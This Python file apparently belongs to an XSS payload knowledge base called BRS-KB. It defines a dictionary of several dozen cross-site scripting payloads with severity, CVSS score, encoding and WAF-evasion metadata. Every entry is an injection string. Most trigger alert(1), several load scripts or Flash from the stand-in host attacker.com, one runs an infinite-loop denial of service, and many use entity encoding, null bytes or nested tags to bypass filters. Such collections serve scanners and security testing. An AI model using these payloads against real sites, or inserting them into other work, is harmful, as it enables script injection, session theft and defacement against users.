#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

HTML Tag XSS Payloads - Exotic Part 1
"""

from ..models import PayloadEntry


EXOTIC_PAYLOADS_PART1 = {
    # === Exotic Tiny XSS Payloads ===
    "exotic-tiny-svg-onload": PayloadEntry(
        payload="<svg/onload=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Tiny XSS - minimal svg payload (20 chars)",
        tags=["exotic", "tiny", "svg", "minimal"],
        reliability="high",
    ),
    "exotic-tiny-img": PayloadEntry(
        payload="<img src=x onerror=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Tiny XSS - minimal img payload",
        tags=["exotic", "tiny", "img", "minimal"],
        reliability="high",
    ),
    "exotic-tiny-body": PayloadEntry(
        payload="<body onload=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Tiny XSS - body onload",
        tags=["exotic", "tiny", "body", "minimal"],
        reliability="high",
    ),
    "exotic-tiny-script": PayloadEntry(
        payload="<script>alert(1)</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Tiny XSS - basic script",
        tags=["exotic", "tiny", "script", "basic"],
        reliability="high",
    ),
    "exotic-tiny-a-href": PayloadEntry(
        payload="<a href=javascript:alert(1)>x</a>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Tiny XSS - anchor javascript href",
        tags=["exotic", "tiny", "anchor", "javascript"],
        reliability="high",
    ),
    # === Exotic IE Behavior Techniques ===
    "exotic-ghetto-expression": PayloadEntry(
        payload='<x style="behavior:url(#default#time2)" onbegin="alert(1)">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="IE behavior expression bypass",
        tags=["exotic", "ghetto", "ie", "behavior", "expression"],
        reliability="low",
        browser_support=["ie"],
    ),
    "exotic-ghetto-htc": PayloadEntry(
        payload='<x style="behavior:url(/xss.htc)">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="IE HTC file inclusion",
        tags=["exotic", "ghetto", "ie", "htc", "behavior"],
        reliability="low",
        browser_support=["ie"],
    ),
    "exotic-ghetto-xml-import": PayloadEntry(
        payload='<?import namespace="xss" implementation="http://attacker.com/xss.htc">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="IE XML namespace import",
        tags=["exotic", "ghetto", "ie", "xml", "import"],
        reliability="low",
        browser_support=["ie"],
    ),
    "exotic-ghetto-vml": PayloadEntry(
        payload='<v:rect style="behavior:url(#default#VML)" onmouseover="alert(1)" strokecolor="white" strokeweight="10000px">',
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.5,
        description="IE VML vector markup",
        tags=["exotic", "ghetto", "ie", "vml", "vector"],
        reliability="low",
        browser_support=["ie"],
    ),
    # === Exotic CSS Techniques ===
    "exotic-css-attr": PayloadEntry(
        payload='<div style="--x:expression(alert(1))">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="CSS custom property with expression (IE)",
        tags=["exotic", "css", "custom-property", "ie"],
        reliability="low",
        browser_support=["ie"],
    ),
    "exotic-css-url-js": PayloadEntry(
        payload='<div style="background:url(javascript:alert(1))">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="CSS url() with javascript (legacy)",
        tags=["exotic", "css", "url", "javascript"],
        reliability="low",
    ),
    # === PayloadBox HTML Tag Techniques ===
    "pb-wbr-img-src": PayloadEntry(
        payload="<IMG SRC=JaVaScRiPt:alert(&quot;XSS<WBR>&quot;)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="WBR tag breaking string in javascript",
        tags=["payloadbox", "wbr", "split", "bypass"],
        reliability="low",
        waf_evasion=True,
    ),
    "pb-wbr-entity-full": PayloadEntry(
        payload="<IMGSRC=&#106;&#97;&#118;&#97;&#115;&<WBR>#99;&#114;&#105;&#112;&<WBR>#116;&#58;&#97;&#108;&#101;&<WBR>#114;&#116;&#40;&#39;&#88;&#83<WBR>;&#83;&#39;&#41>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="WBR splitting HTML entities",
        tags=["payloadbox", "wbr", "entity", "split"],
        reliability="low",
        encoding="html-entities",
        waf_evasion=True,
    ),
    "pb-wbr-padded-decimal": PayloadEntry(
        payload="<IMGSRC=&#0000106&#0000097&<WBR>#0000118&#0000097&#0000115&<WBR>#0000099&#0000114&#0000105&<WBR>#0000112&#0000116&#0000058&<WBR>#0000097&#0000108&#0000101&<WBR>#0000114&#0000116&#0000040&<WBR>#0000039&#0000088&#0000083&<WBR>#0000083&#0000039&#0000041>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="WBR with zero-padded decimal entities",
        tags=["payloadbox", "wbr", "decimal", "padded"],
        reliability="low",
        encoding="html-decimal",
        waf_evasion=True,
    ),
    "pb-wbr-hex-entities": PayloadEntry(
        payload="<IMGSRC=&#x6A&#x61&#x76&#x61&#x73&<WBR>#x63&#x72&#x69&#x70&#x74&#x3A&<WBR>#x61&#x6C&#x65&#x72&#x74&#x28&<WBR>#x27&#x58&#x53&#x53&#x27&#x29>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="WBR with hex entities",
        tags=["payloadbox", "wbr", "hex", "entity"],
        reliability="low",
        encoding="html-padded-hex",
        waf_evasion=True,
    ),
    "pb-cdata-script": PayloadEntry(
        payload="<![CDATA[<script>var n=0;while(true){n++;}</script>]]>",
        contexts=["html_content", "xml"],
        severity="high",
        cvss_score=7.5,
        description="CDATA wrapped script (infinite loop DoS)",
        tags=["payloadbox", "cdata", "xml", "dos"],
        reliability="low",
    ),
    "pb-cdata-split-script": PayloadEntry(
        payload='<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert(1);<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>',
        contexts=["xml"],
        severity="high",
        cvss_score=7.5,
        description="CDATA splitting script tag characters",
        tags=["payloadbox", "cdata", "xml", "split"],
        reliability="low",
        waf_evasion=True,
    ),
    "pb-body-background": PayloadEntry(
        payload="<BODY BACKGROUND=\"javascript:alert('XSS')\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Body background attribute javascript",
        tags=["payloadbox", "body", "background", "legacy"],
        reliability="low",
    ),
    "pb-iframe-unclosed": PayloadEntry(
        payload="<iframe src=http://attacker.com/xss.html <",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Unclosed iframe consuming following content",
        tags=["payloadbox", "iframe", "unclosed", "consuming"],
        reliability="medium",
    ),
    "pb-img-unclosed": PayloadEntry(
        payload="<IMG SRC=\"javascript:alert('XSS')\"",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Unclosed img tag",
        tags=["payloadbox", "img", "unclosed"],
        reliability="low",
    ),
    "pb-string-plus-concat": PayloadEntry(
        payload='"><s"%2b"cript>alert(1)</script>',
        contexts=["html_attribute"],
        severity="high",
        cvss_score=7.5,
        description="String concatenation with URL encoded +",
        tags=["payloadbox", "concat", "url", "bypass"],
        reliability="medium",
        encoding="url",
        waf_evasion=True,
    ),
    "pb-marquee-emoticon": PayloadEntry(
        payload="<marquee onstart='javascript:alert(1);'>=(^_^)=</marquee>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Marquee onstart with emoticon content",
        tags=["payloadbox", "marquee", "onstart"],
        reliability="medium",
        browser_support=["firefox"],
    ),
    "pb-input-image-src": PayloadEntry(
        payload='<INPUT TYPE="IMAGE" SRC="javascript:alert(\'XSS\');">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Input type image with javascript src",
        tags=["payloadbox", "input", "image", "src"],
        reliability="medium",
    ),
    "pb-script-external-jpg": PayloadEntry(
        payload='<SCRIPT SRC="http://attacker.com/xss.jpg"></SCRIPT>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Script with .jpg extension (content-type bypass)",
        tags=["payloadbox", "script", "external", "extension"],
        reliability="medium",
    ),
    "pb-img-malformed-quotes": PayloadEntry(
        payload='<IMG """><SCRIPT>alert("XSS")</SCRIPT>">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Malformed img with script injection",
        tags=["payloadbox", "img", "malformed", "script"],
        reliability="medium",
        waf_evasion=True,
    ),
    "pb-script-xss-attr": PayloadEntry(
        payload='<SCRIPT/XSS SRC="http://attacker.com/xss.js"></SCRIPT>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Script with /XSS attribute separator",
        tags=["payloadbox", "script", "attribute", "bypass"],
        reliability="low",
        waf_evasion=True,
    ),
    "pb-script-slash-src": PayloadEntry(
        payload='<SCRIPT/SRC="http://attacker.com/xss.js"></SCRIPT>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Script with slash before SRC",
        tags=["payloadbox", "script", "slash", "bypass"],
        reliability="low",
        waf_evasion=True,
    ),
    "pb-script-hash": PayloadEntry(
        payload='<script src="#">{alert(1)}</script>;1',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Script src # with block execution",
        tags=["payloadbox", "script", "hash", "block"],
        reliability="low",
    ),
    "pb-form-button-formaction": PayloadEntry(
        payload='<form id="test" /><button form="test" formaction="javascript:alert(1)">CLICK</button>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Form button with formaction javascript",
        tags=["payloadbox", "form", "button", "formaction"],
        reliability="high",
    ),
    "pb-embed-swf": PayloadEntry(
        payload='<EMBED SRC="http://attacker.com/xss.swf" AllowScriptAccess="always"></EMBED>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Embed SWF with AllowScriptAccess (legacy)",
        tags=["payloadbox", "embed", "swf", "flash", "legacy"],
        reliability="low",
    ),
    "pb-object-base64": PayloadEntry(
        payload='<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Object with base64 data URL",
        tags=["payloadbox", "object", "data", "base64"],
        reliability="medium",
        encoding="base64",
    ),
    "pb-embed-base64": PayloadEntry(
        payload='<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Embed with base64 data URL",
        tags=["payloadbox", "embed", "data", "base64"],
        reliability="medium",
        encoding="base64",
    ),
    # === Community Misc HTML Tag Techniques ===
    "cm-entity-iframe-tab": PayloadEntry(
        payload='<iframe %00 src="&Tab;javascript:alert(1)&Tab;"%00>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Iframe with null bytes and Tab entities",
        tags=["community", "iframe", "null", "tab", "entity"],
        reliability="medium",
        encoding="html-entities",
        waf_evasion=True,
    ),
    "cm-entity-svg-style": PayloadEntry(
        payload="<svg><style>{font-family&colon;'<iframe/onload=alert(1)>'}",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG style with colon entity and nested iframe",
        tags=["community", "svg", "style", "entity", "nested"],
        reliability="medium",
        encoding="html-entities",
        waf_evasion=True,
    ),
    "cm-entity-input-mouseover": PayloadEntry(
        payload='<input/onmouseover="javaSCRIPT&colon;alert&lpar;1&rpar;">',
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.5,
        description="Input with entity-encoded javascript",
        tags=["community", "input", "entity", "mouseover"],
        reliability="high",
        encoding="html-entities",
        waf_evasion=True,
    ),
    "cm-entity-form-isindex": PayloadEntry(
        payload='<form><isindex formaction="javascript&colon;alert(1)">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Form isindex with entity-encoded formaction",
        tags=["community", "form", "isindex", "entity"],
        reliability="low",
        encoding="html-entities",
        waf_evasion=True,
    ),
    "cm-entity-img-newline": PayloadEntry(
        payload="<img src=`%00`&NewLine; onerror=alert(1)&NewLine;>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Img with backtick null and NewLine entities",
        tags=["community", "img", "null", "newline", "entity"],
        reliability="medium",
        encoding="html-entities",
        waf_evasion=True,
    ),
    "cm-entity-meta-refresh": PayloadEntry(
        payload='<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Meta refresh with NewLine and colon entities",
        tags=["community", "meta", "refresh", "entity"],
        reliability="medium",
        encoding="html-entities",
        waf_evasion=True,
    ),
    "cm-null-svg-script": PayloadEntry(
        payload="<sVg><scRipt %00>alert(1)</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG script with null byte - Opera specific",
        tags=["community", "svg", "null", "opera"],
        reliability="low",
        waf_evasion=True,
        browser_support=["opera"],
    ),
    "cm-null-script-comments": PayloadEntry(
        payload="<script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Script with null bytes in comments",
        tags=["community", "script", "null", "comments"],
        reliability="low",
        waf_evasion=True,
    ),
    "cm-null-form-input": PayloadEntry(
        payload='&#00;</form><input type="date" onfocus="alert(1)">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Null entity breaking form with date input",
        tags=["community", "form", "null", "date", "html5"],
        reliability="medium",
        encoding="html-entities",
        waf_evasion=True,
    ),
    "cm-dataurl-iframe-base64-tab": PayloadEntry(
        payload='<iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Iframe data URL with Tab entities in mime",
        tags=["community", "iframe", "dataurl", "base64", "tab"],
        reliability="medium",
        encoding="base64",
        waf_evasion=True,
    ),
    "cm-dataurl-a-cert": PayloadEntry(
        payload='<a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">X</a>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Data URL with fake cert content-type",
        tags=["community", "anchor", "dataurl", "cert", "bypass"],
        reliability="low",
        encoding="base64",
        waf_evasion=True,
    ),
    "cm-break-comment-img": PayloadEntry(
        payload='<!--<img src="--><img src=x onerror=alert(1)//">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="HTML comment breaking with img",
        tags=["community", "comment", "break", "img"],
        reliability="high",
        waf_evasion=True,
    ),
    "cm-break-style-img": PayloadEntry(
        payload='<style><img src="</style><img src=x onerror=alert(1)//">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Style tag breaking with img",
        tags=["community", "style", "break", "img"],
        reliability="high",
        waf_evasion=True,
    ),
    "cm-break-title-script": PayloadEntry(
        payload="</TITLE><SCRIPT>alert(1);</SCRIPT>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Title tag closing with script injection",
        tags=["community", "title", "break", "script"],
        reliability="high",
    ),
    "cm-break-double-script": PayloadEntry(
        payload="<<SCRIPT>alert(1);//<</SCRIPT>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Double open bracket script",
        tags=["community", "script", "double-bracket"],
        reliability="low",
        waf_evasion=True,
    ),
    "cm-break-nested-script": PayloadEntry(
        payload="<scr<script>ipt>alert(1)</scr</script>ipt>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Nested script tag filter bypass",
        tags=["community", "script", "nested", "filter-bypass"],
        reliability="medium",
        waf_evasion=True,
    ),
    "cm-break-img-double-script": PayloadEntry(
        payload="<IMG SRC=javascrscriptipt:alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Nested 'script' in javascript protocol",
        tags=["community", "img", "nested", "filter-bypass"],
        reliability="medium",
        waf_evasion=True,
    ),
    "cm-iframe-null-slash": PayloadEntry(
        payload="<iframe/%00/ src=javascript&colon;alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Iframe with null and slash obfuscation",
        tags=["community", "iframe", "null", "slash"],
        reliability="medium",
        encoding="html-entities",
        waf_evasion=True,
    ),
}
